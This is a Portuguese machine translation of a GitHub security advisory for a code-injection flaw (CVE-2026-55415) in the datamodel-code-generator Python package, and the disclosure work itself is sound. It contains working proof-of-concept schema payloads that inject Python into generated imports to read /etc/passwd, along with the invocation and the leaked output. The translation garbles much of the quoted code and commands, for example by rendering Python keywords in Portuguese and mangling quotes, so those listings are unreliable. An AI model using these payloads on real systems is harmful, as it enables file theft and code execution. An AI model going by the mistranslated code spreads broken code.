Um esquema de entrada malicioso (OpenAPI / JSON Schema) pode executar código Python arbitrário na máquina que ** importa** o modelo gerado. O fluxo de extensões do esquema `x-python- import' e `customTypePath`, não saneados, para as declarações `import' gerador de código-modèle de dados emite. Uma nova linha incorporada no valor de extensão sai da linha ` from... import...` e injeta uma instrução controlada pelo atacante no âmbito do módulo, que se executa no momento da importação. Esta é uma execução remota de código não autenticada, baseada em conteúdo de esquemas, contra qualquer consumidor do código gerado (por exemplo, lê arquivo arbitrário, o PoC exfiltra `/etc/passwd`). Ele sobrevive ao v 0.61.0 a versão de segurança que corrigiu os relacionados `x-python- type`, `default_factory`, GraphQL- descrição- união e `validadores` afundou essas correções não cobriram este caminho de irmãos. O lavatório é `Import.from_full_path` e `Imports.create_line`. - `src/ datamodel_code_generator/imports.py: 35 ` — `from_full_path()` somente faz `class_path.split(".")` e preserva todos os outros caracteres, **incluindo as novas linhas**: ````python @classmethod @lru_cache def from_full_path(cls, class_path: str) -> Importação: split_class_path: list[str] = class_path.split(".") retorna cls(import_=split_class_path[-- 1 ], from_=".".join(split_class_path[:- 1 ]) ou Nenhum) ``` - `src/datamodel_code_generator/imports.py: 64 `` — `create_line()' torna o resultado literalmente: ```python def create_line( self, from_: strň Nenhum, imports: set[str]) -> str: se from_: devolve f"from {from_} import {', '.join( self._set_alias(from_, imports)}" devolve "\n".join(f"import {i}" para i em self._set_alias(from_, imports)) ``` Não há verificação de que os segmentos de caminho são identificadores Python, contraste `validadores._validate_dotted_python_identificator_path`, que é o mesmo v 0.61.0 versão adicionada para a configuração de `validadores` e `types.is_python_type_annotation`, adicionada para `x-python-type`. As duas extensões abaixo foram deixadas desprotegidas.
Dois pontos de entrada controlados por esquemas, **default-config**, chegam a este isqueiro. 1. **`x-python-import`** — `src/datamodel_code_generator/parser/jsonschema.py: 1851 - 1858 ` (`get_ref_data_type`): ```python x_python_import = ref_schema.extras.get("x-python-import") se isinstance(x_python_import, dict): módulo = x_python_import.get("module") type_name = x_python_import.get("name") se módulo e tipo_name: full_path = f"{module}.{type_name}" import_ = Import.from_full_path(full_path) self.imports.append(import_) ``` 2. **`customTypePath`** — declarado em `src/datamodel_code_generator/ parser/jsonschema.py: 438 `, consumido em `: 4118 ` e `: 4365 ` via `get_data_type_from_full_path(custom_type_path, is_custom_type=True)` → o mesmo 'Import.from_full_path`. **Mecanismo.** Com `nom = "getcwd\nprint(...)"; `full_path = "os.getcwd\nprint(...)". `from_full_path` divide-se apenas em `.', então (se for que a instrução injectada não contenha `.') ele produz `from_="os' e `import_="getcwd\nprint(...)'. `create_line' emite: ```python from os import getcwd print(...) # ← instrução do atacante no âmbito do módulo, executa na importação ``` O dot-split é a única limitação na carga útil; está trivialmente satisfeito com builtins sem atributos (por exemplo, `print(*open('/etc/passwd'), file=open('/tmp/loot','w'w'), sep=', end=')` lê e não se filtrar usando um arquivo `' Nenhum dos seis v 0.61.0 corrigir os commits (`aec 47 bc 4 `, ` b 73 abb 5 c`, ` 17 fc 235 e`, ` 2 c 93 c 9 b 7 `, ` a 43 d 0290 `, ` 5 fdba 4 a 0 `) tocou `x-python-import`, `customTypePath` ou `imports.py`; `imports.py` foi modificado pela última vez ~ 5 meses antes da liberação. Este é, portanto, uma ** incompleta correção**: o mantenedor endurecido do irmão tipo controleado esquema/extensão afunda, mas não estes dois caminhos para o mesmo código de geração de importação.
#### PoC Auto contido POC disponível aqui: 1 fyn/ c 3 abb 41 bb 89 c 164 daa 0 d 5 f 2 c 60 b 5328 b Invocação padrão, sem bandeiras especiais, na versão correcionada (commit ` 227 ffe 85 ee 2 dcfc 79336 fbb 14 anúncio 64 c 02 a 166 b 65 a`, v 0.61.0 ).
`payload_a.json`: ```json { "tipo": "objeto", "título": "Root", "required": ["f"], "propriedades": { "f": { "$ref": "#/$defs/Evil" } }, "$defs": { "Evil": { "tipo": "objeto", "x-python-import": { "módulo": "os", "nome": "getcwd\nprint(*open('/etc/passwd'), file=open('/tmp/dmc_xpi_loot",'w'),sep=',end='') } } } } ```` Gerar e importar o módulo de '"tritura" ("``py datamodel-codegen''''', 'input payload_a.json --input-type json-file-schema -- de getcwd de importação. print(*open('/etc/passwd'), file=open('/tmp/dmcg_xpi_loot', 'w'), sep=', end='') a partir do getcwd de importação.
print(*open('/etc/passwd'), file=open('/tmp/dmcg_xpi_loot', 'w'), sep=', end='') a partir de um modelo de base de importação pydântica... ```` Importando `modelo' lê `/etc/passwd' e escreve uma cópia exata para `/tmp/dmcg_xpi_loot`: ``````$ cabeça - 1 /tmp/ dmcg_xpi_loot root:x: 0: 0: root:/ root:/bin/ bash `` Confirmado sob ambos os resultados padrão (pydantic v 1 ) e `---output-modelo-tipo pydantic_v 2.BaseModel`. A variante `customTypePath` reproduz- se idênticamente: ```json { "tipo":"objeto","título":"Root","required":["f"], "propriedades":{ "f":{ "tipo":"objeto", "customTypePath":"os.getcwd\nprint(*open('/etc/passwd'),file=open('/tmp/dmcg_ctp_loot','w'),sep=',end='')" }}} ```` Um controle benigno (`x-python- import: {"módulo":"decimal","nome":"Decimal"}`) produz limpo `a partir da importação decimal Decimal' e sem execução. Um arn completo de validação, `run.sh` mais `control.json`, `payload_a.json`, `payload_b.json`, está incluído junto com este aviso (control limpo + três cargas úteis disparando + veredicto + limpeza). **Sugerido correção.** Valide todos os segmentos pontilhados de `módulo`, `nome' e `customTypePath' como um identificador Python antes de construir a importação (reuse `validators._validate_pointted_python_identificator_path`), e/ou rejeitar caminhos não- identificadores centralmente dentro de `Importar.from_full_path`.
Execução arbitrária de código no momento da importação do modelo, conduzida pelo conteúdo do esquema controlado pelo atacante sob a configuração padrão. Qualquer pessoa que executa o gerador de código- modelo de dados em um esquema não confiável ou de terceiros, serviços de geração de código de multi- locatário, pipelines CI que ingerem especificações externas, ou um desenvolvedor gerando modelos a partir de um documento público/ vendedor OpenAPI/ JSON- Schema, e então importa (ou cuja ferramenta importa) o módulo gerado, executa o código do atacante com os privilégios do processo de importação. O PoC demonstra a leitura arbitrária do arquivo local (`/etc/passwd`); o mesmo primitivo produz RCE completo. ### Estado do mantenedor. Confirmado por revisão de mantenedor e testes de regressão. Um RP de correção privada está aberto e deve ser fundido antes de publicar este aviso: 5578 - w 22 f- pfx 9 / ull/ 1.
Corrija o resumo: validar os valores `x-python-import` e `customTypePath` como caminhos de identificação Python pontilhados antes de usá- los em importações geradas ou caminhos de digitação. Estado de lançamento: não corrigido em ` 0.63.0 `; ` customTypePath ' foi introduzido em ` 0.11.6 `, as versões afetadas são `>= 0.11.6, <= 0.63.0 `. Este aviso deve permanecer inédito até que a RP privada seja fundida e uma versão correcionada esteja disponível.
Validação: `uv run --group test -- extra http pytest test/main/jsonschema/test_main_jsonschema.py test/parser/test_jsonschema.py ' passou localmente; `uv run --group fix ruff check src/ datamodel_code_generator/parser/jsonschema.py test/main/jsonschema/test_main_jsonschema.py ' passou. Enviado por: Hamza Haroon (thegr 1 xintose). Registro de aconselhamento: GHSA- 5578 - w 22 f- pfx 9. Identificadores relacionados: CVE- 2026 - 55415.
Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 28 T 21: 40: 20.000 Z e lista a sua última modificação como 2026 - 07 - 28 T 21: 40: 20.000 Z. Severidade: ALTAMENTE. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H.
Software afetado e informações de versão: PyPI pacote de dados-modelo-code-generator — ECOSYSTEM: introduzido 0.11.6, corrigido 0.64.0. Classificação e evidência: identificadores de fraqueza CWE- 94, CWE- 95. O registro contém 4 suporte de referências nestes tipos: WEB, PACKAGE.